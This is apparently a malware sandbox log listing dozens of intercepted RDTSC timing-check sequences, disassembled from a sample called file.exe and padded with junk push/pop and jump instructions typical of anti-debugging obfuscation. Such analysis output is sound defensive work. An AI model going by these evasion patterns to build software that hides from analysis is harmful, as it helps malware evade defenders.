Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3AD0 second address: 10D3AE9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F4CECCCECh 0x00000008 jnl 00007F8F4CECCCE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3B84 second address: 10D3C33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8F4C50240Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f jmp 00007F8F4C50240Ch 0x00000014 pop ecx 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F8F4C502408h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000019h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 sub dword ptr [ebp+122D1C89h], edx 0x00000036 mov cx, F2ACh 0x0000003a lea eax, dword ptr [ebp+1248750Ah] 0x00000040 cld 0x00000041 call 00007F8F4C502411h 0x00000046 pop edx 0x00000047 nop 0x00000048 ja 00007F8F4C502413h 0x0000004e push eax 0x0000004f jno 00007F8F4C50240Ah 0x00000055 nop 0x00000056 jmp 00007F8F4C502410h 0x0000005b lea eax, dword ptr [ebp+124874C6h] 0x00000061 movsx ecx, bx 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push eax 0x00000068 jo 00007F8F4C502406h 0x0000006e pop eax 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D3C33 second address: 10B6F61 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F4CECCCE8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ecx, 46D66369h 0x00000014 call dword ptr [ebp+122D3619h] 0x0000001a jl 00007F8F4CECCCF8h 0x00000020 push esi 0x00000021 jbe 00007F8F4CECCCE6h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11151EA second address: 11151EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11151EE second address: 11151F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11151F2 second address: 1115208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4C502410h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115359 second address: 1115364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8F4CECCCE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1115364 second address: 111536A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11154D2 second address: 11154D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11154D9 second address: 11154FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop eax 0x0000000d jbe 00007F8F4C502418h 0x00000013 jmp 00007F8F4C502412h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121DA3 second address: 1121DD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F4CECCCF1h 0x00000008 jmp 00007F8F4CECCCF6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F8F4CECCCE6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121DD8 second address: 1121DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121DDC second address: 1121DE2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121F01 second address: 1121F47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007F8F4C502406h 0x0000000d jmp 00007F8F4C502419h 0x00000012 pop eax 0x00000013 pop edx 0x00000014 push ecx 0x00000015 jmp 00007F8F4C502415h 0x0000001a ja 00007F8F4C502420h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122353 second address: 112237D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F8F4CECCCF3h 0x0000000c jp 00007F8F4CECCCE6h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112237D second address: 1122381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122605 second address: 112260B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112260B second address: 1122611 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11228FE second address: 112290F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4CECCCEAh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122C06 second address: 1122C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jmp 00007F8F4C502416h 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122C28 second address: 1122C37 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F4CECCCE8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126ECA second address: 1126ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126ECE second address: 1126ED2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126ED2 second address: 1126EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F8F4C502406h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11267EE second address: 11267F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11267F4 second address: 11267FE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11267FE second address: 1126802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126BDC second address: 1126C04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502410h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8F4C50240Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1126C04 second address: 1126C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129155 second address: 112915B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112915B second address: 112915F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112915F second address: 1129163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112D3A2 second address: 112D3AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094B02 second address: 1094B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094B06 second address: 1094B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11321E2 second address: 11321E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11324F6 second address: 11324FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11324FA second address: 1132512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F8F4C50240Bh 0x0000000e pop edi 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D354B second address: 10D3551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D35EF second address: 10D360A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F4C502408h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007F8F4C50240Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D360A second address: 10D360F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D35EB second address: 10D35EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136D23 second address: 1136D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136D29 second address: 1136D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136D2E second address: 1136D64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF7h 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8F4CECCCECh 0x00000017 jnl 00007F8F4CECCCE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136D64 second address: 1136D6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136EE6 second address: 1136EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jnp 00007F8F4CECCCE6h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113705B second address: 1137076 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007F8F4C502406h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137076 second address: 1137080 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137080 second address: 1137084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137084 second address: 113708A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113732A second address: 1137333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137333 second address: 1137337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E435 second address: 113E43B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E9CA second address: 113E9EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4CECCCF8h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E9EA second address: 113E9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E9EF second address: 113EA11 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F4CECCD04h 0x00000008 jmp 00007F8F4CECCCF8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113ECD9 second address: 113ECE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113F204 second address: 113F211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8F4CECCCE6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FD74 second address: 113FD90 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F8F4C502406h 0x0000000d pushad 0x0000000e popad 0x0000000f jng 00007F8F4C502406h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113FD90 second address: 113FD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144839 second address: 1144843 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F4C502406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144843 second address: 1144861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8F4CECCCF5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144861 second address: 1144868 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144868 second address: 114487D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 jmp 00007F8F4CECCCEDh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144996 second address: 11449B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8F4C502414h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144B1A second address: 1144B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144B20 second address: 1144B2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144CAD second address: 1144CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F8F4CECCCEAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152389 second address: 11523A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8F4C502411h 0x0000000e push eax 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11523A7 second address: 11523C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11523C4 second address: 11523C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150BFF second address: 1150C2F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F4CECCCEEh 0x00000008 jnl 00007F8F4CECCCFAh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150C2F second address: 1150C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150C35 second address: 1150C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150F18 second address: 1150F30 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F4C502412h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1150F30 second address: 1150F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11510A5 second address: 11510A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11510A9 second address: 11510AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11510AF second address: 11510B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11510B5 second address: 11510D9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F4CECCCF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151257 second address: 1151268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4C50240Ch 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151A2D second address: 1151A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11521BE second address: 11521C8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11521C8 second address: 11521CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11521CC second address: 11521ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F8F4C502406h 0x0000000f pop edx 0x00000010 popad 0x00000011 pushad 0x00000012 jp 00007F8F4C50240Ch 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114FF65 second address: 114FF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11596FA second address: 1159706 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnl 00007F8F4C502406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164BF5 second address: 1164BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164BF9 second address: 1164C0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164C0D second address: 1164C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164C13 second address: 1164C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164C17 second address: 1164C24 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164C24 second address: 1164C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jne 00007F8F4C502406h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1164C39 second address: 1164C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8F4CECCCF0h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169235 second address: 1169239 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169239 second address: 1169241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1168E55 second address: 1168E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F8F4C502406h 0x0000000c rdtsc
